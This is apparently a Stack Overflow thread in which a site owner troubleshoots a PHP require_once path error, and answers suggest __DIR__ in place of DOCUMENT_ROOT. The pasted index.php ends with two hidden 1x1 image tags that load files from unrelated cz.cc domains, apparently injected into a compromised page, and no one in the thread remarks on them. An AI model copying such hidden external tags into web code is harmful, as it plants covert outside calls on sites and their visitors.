-4

I've seen many questions and answers similar to mine but cannot figure out how to apply what I've seen to my specific situation. I've been getting the error message out of nowhere on my website, starting last Wednesday:

Fatal error: require_once(): Failed opening required '/usr/services/vux/apache/htdocs/includes/header.php'(include_path='.:/usr/share/php:/usr/services/vux/lib/php') in /data/18/1/143/77/1632403/user/1759632/htdocs/swp/htdocs/index.php on line 3


This is the code I see in the index.php file:

<?php
$page_id=1;
require_once($_SERVER["DOCUMENT_ROOT"]."/includes/header.php");
?>
<!-- BEGIN PAGE CONTENT -->
<?php
  displayPage($page_id);
  echo "<a href='news.php'><img src='http://www.springwoodpoms.com/images/latest_news.jpg' border='0'></A>";
  $value1 = returnSettingValue(1);
  listNews($value1);
?>
<!-- END PAGE CONTENT -->
<?php
  require_once($_SERVER["DOCUMENT_ROOT"]."/includes/footer.php"); 
?><img heigth="1" width="1" border="0" src="http://foxmeyer.cz.cc/151946.jpg">
<img heigth="1" width="1" border="0" src="http://foxpaine.cz.cc/154426.jpg">

Attached is an image of the web root path to the header.php file. Permissions are all set to 0664.

website root file path

What do I need to change the code to in the index.php file on line 3 to fix the error in finding the header.php file?

I know where all my files are and can follow instructions, as far as implementing code, pretty well. I just don't know where to start? Any help or advice would be great.

Jenni Hill
  • 11
  • 1
  • 2
  • 2
    `'/usr/services/vux/apache/htdocs/includes/header.php` does not exist or is not openable, what else can any one say? Does the file exist? what's its permissions? –  Mar 19 '19 at 20:05
  • I'm not seeing the file string **'/usr/services/vux/apache/htdocs/includes/header.php'** in my ftp files. I added an image to show the root file path to the header.php file. Permissions are all set to 0644. – Jenni Hill Mar 19 '19 at 20:47
  • 1
    well if the file is missing, that's the issue. –  Mar 19 '19 at 20:49
  • _I know where all my files are and can follow instructions_ - Okay, so change `require_once($_SERVER["DOCUMENT_ROOT"]."/includes/header.php");` to the correct path to the `header.php` file – GrumpyCrouton Mar 19 '19 at 20:53
  • Thanks for your responses Tim. I understand the file is missing. Any help on how to change the index.php code on line 3 to find the correct header.php file path? – Jenni Hill Mar 19 '19 at 20:55

1 Answers1

0

Try changing $_SERVER["DOCUMENT_ROOT"] to __DIR__ so that your code reads as:

require_once(__DIR__."/includes/header.php");
benyafai
  • 144
  • 6
  • Thanks @benyafai. I changed the code to `__DIR__`. It didn't fix the problem, but presents a different error now `Fatal error: require_once(): Failed opening required '/usr/services/vux/apache/htdocs/includes/functions.php' (include_path='.:/usr/share/php:/usr/services/vux/lib/php') in /data/18/1/143/77/1632403/user/1759632/htdocs/swp/htdocs/includes/header.php on line 2` – Jenni Hill Mar 19 '19 at 21:25
  • this is the code on line 2 in header.php `require_once($_SERVER["DOCUMENT_ROOT"]."/includes/functions.php");` – Jenni Hill Mar 19 '19 at 21:29
  • So we fixed that, but you have another problem that is essentially the same issue - the `$_SERVER["DOCUMENT_ROOT"]` is going to the wrong place. Try again replacing it with `__DIR__` and see what the error then produces. – benyafai Mar 19 '19 at 21:48
  • Ok, I have now replaced the `$_SERVER["DOCUMENT_ROOT"]` with `__DIR__` and a slightly different error now shows: `Fatal error: require_once(): Failed opening required '/data/18/1/143/77/1632403/user/1759632/htdocs/swp/htdocs/includes/includes/functions.php' (include_path='.:/usr/share/php:/usr/services/vux/lib/php') in /data/18/1/143/77/1632403/user/1759632/htdocs/swp/htdocs/includes/header.php on line 2` – Jenni Hill Mar 19 '19 at 21:59
  • Ok, see the path is .../includes/includes/functions.php ? Remove one of the 'includes/' to fix the path in there. – benyafai Mar 19 '19 at 22:11
  • Ok, so I've removed the `/includes` from line 2 in the header.php file. So now the line reads `require_once(__DIR__."/functions.php");`. Which should make the string read with just one includes now. When I refresh the page the entire screen is now blank. When viewing the page source, there is absolutely no code at all. Any ideas? – Jenni Hill Mar 20 '19 at 14:32
  • Well all the files load now, so looks like you have a completely new issue. I guess you could make PHP print all errors on screen and start troubleshooting from there. See this link: https://stackoverflow.com/a/21429652/2004351 – benyafai Mar 20 '19 at 18:20